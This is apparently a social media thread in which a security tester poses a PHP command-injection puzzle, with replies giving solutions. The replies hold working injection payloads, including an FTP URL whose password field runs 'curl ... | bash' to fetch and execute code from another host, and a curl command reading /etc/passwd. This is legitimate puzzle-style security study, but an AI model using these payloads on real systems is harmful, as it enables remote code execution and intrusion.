Had this on a recent engagement and thought I'd provide a cut-down version as a fun little CTF-like challenge.

As an attacker, you can invoke `pwnme()` and control the value of `$filename` via a web request.

You cannot control the contents of the file system that this code is running on. You don't have the ability to upload files.

How do you achieve command injection?

#php #challenge

@oj I'd go with something like:
ftp://ftp.gnu.org/#$(id)
@Bitquark You're on the right track, just gotta make sure that the file_exists comes back true.
@oj It does, at least on my PHP version :-)
@Bitquark yeah nice, wasn't aware of the `#` thingo... sweet.
@oj I thought I'd have to use the username/password field or do some path traversal, but that seemed to do the trick. PHP, eh?

@Bitquark @oj I used the password, and I brought my own server. Very cute use of gnu.org and the #, and I didn't know the root of a server is considered to be existent. Very nice 👏​

My awful solution:

ftp://anonymous:$(curl+172.18.0.1:4445|bash)@172.18.0.12:2121/empty

@justinsteven @oj Nice! That's a perfectly good solution. I thought I might have to go down that route too but I tried # and ? on the off chance and PHP just... ignores anything after them like it's a web URI

@Bitquark @oj I suppose it's a URI, and so RFC 3986 would apply and so fragments are respected.

curl is the same:

% curl -s 'ftp://ftp.gnu.org/README#lol' | head -n1
This is ftp.gnu.org, the FTP server of the the GNU project.

curl even allows fragments for file://

% curl -s 'file:///etc/passwd#lol' | head -n1
root:x:0:0:root:/root:/bin/bash

but PHP doesn't allow fragments for file://

% php -r 'file_exists("file:///etc/passwd#lol") || print 0;'
0